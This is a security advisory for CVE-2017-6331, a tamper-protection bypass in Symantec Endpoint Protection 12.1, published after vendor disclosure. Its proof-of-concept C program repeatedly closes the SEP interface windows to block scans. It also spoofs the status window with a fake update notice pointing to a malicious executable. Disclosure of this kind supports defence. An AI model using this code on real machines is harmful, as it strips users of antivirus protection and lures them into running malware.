[+] Credits: John Page a.k.a hyp3rlinx  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/CVE-2017-6331-SYMANTEC-ENDPOINT-PROTECTION-TAMPER-PROTECTION-BYPASS.txt
[+] ISR: ApparitionSec            
 


Vendor:
=======
www.symantec.com



Product:
===========
Symantec Endpoint Protection
v12.1.6 (12.1 RU6 MP5) 
Symantec 12.1.7004.6500 



Vulnerability Type:
===================
Tamper-Protection Bypass
Denial Of Service / Message Spoof



CVE Reference:
==============
CVE-2017-6331
SSG16-041



Security Issue:
================
Symantec Endpoint Protection (SEP), does not validate where WinAPI messages comes from (lack of UIPI).
Therefore, malware can easily spoof messages to the UI or send WM_SYSCOMMAND to close
the SEP UI denying end user ability to scan / run the EP AntiVirus protection. Spoofed messages could
also potentially inform a user a scan was clean.

Unfortunately Symantecs advisory left out details of the Denial Of Service as well as minimizing the
amount of text a malware could inject into the UI which would result in compromising the integrity of the
Symantec Endpoint Protection Control Panel user interface. 


References:
===========
https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20171106_00
 


Exploit/POC:
============= 

1) Compile below C program, it targets various components of SEP, comment out what you want to send to the UI.

2) Try to open the Symantec Endpoint UI and you will be denied.
3) Or inject attacker supplied messages intructing the user the file is clean etc.


#include <windows.h>
#include <Tlhelp32.h>
#define VICTIM "DevViewer.exe"

//By HYP3RLINX
//ISR: ApparitionSec
//Symantec EP Protection - Tamper Protection Bypass Vulnerability
//Tested successfully on Symantec 12.1.6 (12.1 RU6 MP5) build 7004 Symantec 12.1.7004.6500 Windows 7 
//How: FindWindow / SendMessage Win32 API 
//Impact: DOS / Integrity Compromised
//TO-DO: Get Window text for SavUI.exe and DOS to prevent AV scans.

void main(void){
 
   while(1){
            
   HWND hWnd = FindWindow( NULL, TEXT("Status - Symantec Endpoint Protection"));
   
   if(hWnd!=NULL){
     //This injects arbitrary messages to SEP UI.
     SetWindowText(hWnd, "*** Important Security Update, Visit: http://PWN3D.com/EVIL.exe download and follow instructions. ***");
     //This prevents a user from being able to run AV scans and renders SEP UI useless
    //SendMessage(hWnd, WM_SYSCOMMAND, SC_CLOSE, 0);   
   }  
   
   //HWND savUI = FindWindowEx(0, 0, "Symantec Endpoint Protection", 0);
   
   HWND x = FindWindow(NULL, TEXT("DevViewer"));
   if(x!=NULL){
     SendMessage(x, WM_SYSCOMMAND, SC_CLOSE, 0);   
  }
  
   HWND x2 = FindWindow(NULL, TEXT("DoScan Help"));
   SendMessage(x2, WM_SYSCOMMAND, SC_CLOSE, 0); 

   HWND x3 = FindWindow(NULL, TEXT("Sylink Drop"));
   SendMessage(x3, WM_SYSCOMMAND, SC_CLOSE, 0);  
   
  HWND x4 = FindWindow(NULL, TEXT("Manual Scan started on 7/8/2016"));
   if(x!=NULL){
     SendMessage(x4, WM_SYSCOMMAND, SC_CLOSE, 0);   
  }
  
   sleep(1);
   
   }  
}


Network Access:
===============
Local




Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification: July 8, 2016
Vendor acknowledged: 7/14/16
Vendor advisory : November 6, 2017
November 10, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx